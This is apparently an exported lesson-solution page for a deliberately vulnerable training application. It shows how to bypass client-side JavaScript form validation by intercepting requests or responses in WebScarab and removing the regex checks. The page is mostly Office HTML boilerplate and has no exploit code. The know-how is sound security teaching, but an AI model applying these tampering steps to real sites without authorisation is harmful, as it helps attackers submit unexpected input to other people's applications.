||||
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
|
||||
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
|
||||
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
|
||||
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
|
||||
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
|
||||
</w:LatentStyles>
|
||||
</xml><![endif]-->
|
||||
<style>
|
||||
<!--
|
||||
/* Font Definitions */
|
||||
@font-face
|
||||
{font-family:"MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-alt:"\FF2D\FF33 \660E\671D";
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
@font-face
|
||||
{font-family:"Cambria Math";
|
||||
panose-1:2 4 5 3 5 4 6 3 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:roman;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:-1610611985 1107304683 0 0 159 0;}
|
||||
@font-face
|
||||
{font-family:Tahoma;
|
||||
panose-1:2 11 6 4 3 5 4 4 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:swiss;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:1627400839 -2147483648 8 0 66047 0;}
|
||||
@font-face
|
||||
{font-family:"\@MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
/* Style Definitions */
|
||||
p.MsoNormal, li.MsoNormal, div.MsoNormal
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
h1
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 1 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:1;
|
||||
font-size:16.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;}
|
||||
p.MsoCaption, li.MsoCaption, div.MsoCaption
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-next:Normal;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoEnvelopeReturn, li.MsoEnvelopeReturn, div.MsoEnvelopeReturn
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;}
|
||||
a:link, span.MsoHyperlink
|
||||
{mso-style-noshow:yes;
|
||||
color:blue;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
a:visited, span.MsoHyperlinkFollowed
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
color:purple;
|
||||
mso-themecolor:followedhyperlink;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"Balloon Text Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
span.Heading1Char
|
||||
{mso-style-name:"Heading 1 Char";
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 1";
|
||||
mso-ansi-font-size:16.0pt;
|
||||
mso-bidi-font-size:16.0pt;
|
||||
font-family:"MS Mincho";
|
||||
mso-ascii-font-family:"MS Mincho";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-hansi-font-family:"MS Mincho";
|
||||
mso-bidi-font-family:Arial;
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
span.BalloonTextChar
|
||||
{mso-style-name:"Balloon Text Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Balloon Text";
|
||||
mso-ansi-font-size:8.0pt;
|
||||
mso-bidi-font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-ascii-font-family:Tahoma;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:Tahoma;
|
||||
mso-bidi-font-family:Tahoma;}
|
||||
.MsoChpDefault
|
||||
{mso-style-type:export-only;
|
||||
mso-default-props:yes;
|
||||
font-size:10.0pt;
|
||||
mso-ansi-font-size:10.0pt;
|
||||
mso-bidi-font-size:10.0pt;
|
||||
mso-ascii-font-family:Arial;
|
||||
mso-fareast-font-family:Calibri;
|
||||
mso-fareast-theme-font:minor-latin;
|
||||
mso-hansi-font-family:Arial;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
@page Section1
|
||||
{size:612.0pt 792.0pt;
|
||||
margin:72.0pt 72.0pt 72.0pt 72.0pt;
|
||||
mso-header-margin:35.4pt;
|
||||
mso-footer-margin:35.4pt;
|
||||
mso-paper-source:0;}
|
||||
div.Section1
|
||||
{page:Section1;}
|
||||
-->
|
||||
</style>
|
||||
<!--[if gte mso 10]>
|
||||
<style>
|
||||
/* Style Definitions */
|
||||
table.MsoNormalTable
|
||||
{mso-style-name:"Table Normal";
|
||||
mso-tstyle-rowband-size:0;
|
||||
mso-tstyle-colband-size:0;
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
|
||||
mso-para-margin:0cm;
|
||||
mso-para-margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapedefaults v:ext="edit" spidmax="3074"/>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapelayout v:ext="edit">
|
||||
<o:idmap v:ext="edit" data="1"/>
|
||||
</o:shapelayout></xml><![endif]-->
|
||||
</head>
|
||||
|
||||
<body lang=EN-US link=blue vlink=purple style='tab-interval:36.0pt'>
|
||||
|
||||
<div class=Section1>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Lesson
|
||||
Plan Title:</span></b><span style='font-family:"Arial","sans-serif"'> How to
|
||||
Bypass Client Side JavaScript Validation <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Concept /
|
||||
Topic To Teach:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Client-side validation
|
||||
should not be considered a secure means of validating parameters. This
|
||||
validation only helps reducing the amount of server processing time for normal
|
||||
users who do not know the format of required input. Attackers can bypass these
|
||||
mechanisms easily in various ways. Any client-side validation should be
|
||||
duplicated on the server side. This will greatly reduce the likelihood of
|
||||
insecure parameter values being used in the application. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>General
|
||||
Goal(s):</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>For this
|
||||
exercise, the web site requires that you follow certain rules when you fill out
|
||||
a form. The user should be able to break those rules, and send the website
|
||||
input that it wasn't expecting.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif";mso-no-proof:
|
||||
yes'><!--[if gte vml 1]><v:shapetype id="_x0000_t75" coordsize="21600,21600"
|
||||
o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f"
|
||||
stroked="f">
|
||||
<v:stroke joinstyle="miter"/>
|
||||
<v:formulas>
|
||||
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
|
||||
<v:f eqn="sum @0 1 0"/>
|
||||
<v:f eqn="sum 0 0 @1"/>
|
||||
<v:f eqn="prod @2 1 2"/>
|
||||
<v:f eqn="prod @3 21600 pixelWidth"/>
|
||||
<v:f eqn="prod @3 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @0 0 1"/>
|
||||
<v:f eqn="prod @6 1 2"/>
|
||||
<v:f eqn="prod @7 21600 pixelWidth"/>
|
||||
<v:f eqn="sum @8 21600 0"/>
|
||||
<v:f eqn="prod @7 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @10 21600 0"/>
|
||||
</v:formulas>
|
||||
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
|
||||
<o:lock v:ext="edit" aspectratio="t"/>
|
||||
</v:shapetype><v:shape id="Picture_x0020_176" o:spid="_x0000_i1035" type="#_x0000_t75"
|
||||
style='width:480pt;height:276.75pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/JavaScriptValidation_files/image001.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/JavaScriptValidation_files/image002.jpg" v:shapes="Picture_x0020_176"><![endif]></span><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>1</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Lesson 6<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>There are two
|
||||
ways to complete this lesson. The first one is to submit a valid request like
|
||||
the one from the screenshot above and intercept this using WebScarab. The
|
||||
second way is to intercept the HTTP Response when loading the page and remove
|
||||
the Javascript that validates the values.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Solution 1<o:p></o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><i style='mso-bidi-font-style:
|
||||
normal'><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></i></b></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_177"
|
||||
o:spid="_x0000_i1034" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/JavaScriptValidation_files/image003.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/JavaScriptValidation_files/image004.jpg" v:shapes="Picture_x0020_177"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>2</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Intercept request<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Add different
|
||||
symbols to the fields and click "Accept changes".<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_178"
|
||||
o:spid="_x0000_i1033" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/JavaScriptValidation_files/image005.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/JavaScriptValidation_files/image006.jpg" v:shapes="Picture_x0020_178"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>3</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Change parameters<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_179"
|
||||
o:spid="_x0000_i1032" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/JavaScriptValidation_files/image007.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/JavaScriptValidation_files/image008.jpg" v:shapes="Picture_x0020_179"><![endif]></span><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoCaption><span style='font-family:"Arial","sans-serif"'>Figure </span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span></span><![endif]--><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-no-proof:yes'>4</span></span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-end'></span></span><![endif]--><span
|
||||
style='font-family:"Arial","sans-serif"'> Lesson 6 Completed<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Solution 2<o:p></o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><i style='mso-bidi-font-style:
|
||||
normal'><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></i></b></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Reload the
|
||||
page by clicking on the menu item "How to bypass Client-Side Javascript
|
||||
Validation" and intercept the response in WebScarab.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><!--[if gte vml 1]><v:oval
|
||||
id="_x0000_s1026" style='position:absolute;margin-left:236.55pt;margin-top:7.55pt;
|
||||
width:82.65pt;height:27pt;z-index:1' filled="f" strokecolor="red"/><![endif]--><![if !vml]><span
|
||||
style='mso-ignore:vglayout;position:absolute;z-index:1;margin-left:314px;
|
||||
margin-top:9px;width:113px;height:38px'><img width=113 height=38
|
||||
src="lesson_solutions/JavaScriptValidation_files/image009.gif" v:shapes="_x0000_s1026"></span><![endif]><span
|
||||
style='font-family:"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape
|
||||
id="Picture_x0020_180" o:spid="_x0000_i1031" type="#_x0000_t75" style='width:480pt;
|
||||
height:276.75pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/JavaScriptValidation_files/image010.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/JavaScriptValidation_files/image011.jpg" v:shapes="Picture_x0020_180"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>5</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Enable "Intercept responses"<span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_181"
|
||||
o:spid="_x0000_i1030" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/JavaScriptValidation_files/image012.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/JavaScriptValidation_files/image013.jpg" v:shapes="Picture_x0020_181"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>6</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Intercepted response<span style='font-family:
|
||||
"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>If you remove
|
||||
the onclick="validate();" the "Submit" button will not work anymore.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Locate the
|
||||
validate() Javascript function in the HTML page.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_182"
|
||||
o:spid="_x0000_i1029" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/JavaScriptValidation_files/image014.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/JavaScriptValidation_files/image015.jpg" v:shapes="Picture_x0020_182"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>7</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> The function validate()</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Removing the regular
|
||||
expressions will remove the Javascript validation and submit the form.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_183"
|
||||
o:spid="_x0000_i1028" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/JavaScriptValidation_files/image016.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/JavaScriptValidation_files/image017.jpg" v:shapes="Picture_x0020_183"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>8</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Changed validate() function<span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Click "Accept
|
||||
changes". This returns a HTML page like before but without any regular
|
||||
expression checks.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_184"
|
||||
o:spid="_x0000_i1027" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/JavaScriptValidation_files/image018.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/JavaScriptValidation_files/image019.jpg" v:shapes="Picture_x0020_184"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>9</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> It looks the same<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Change the
|
||||
fields in the HTML page to contain symbols like @#@@# and click "Submit". <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
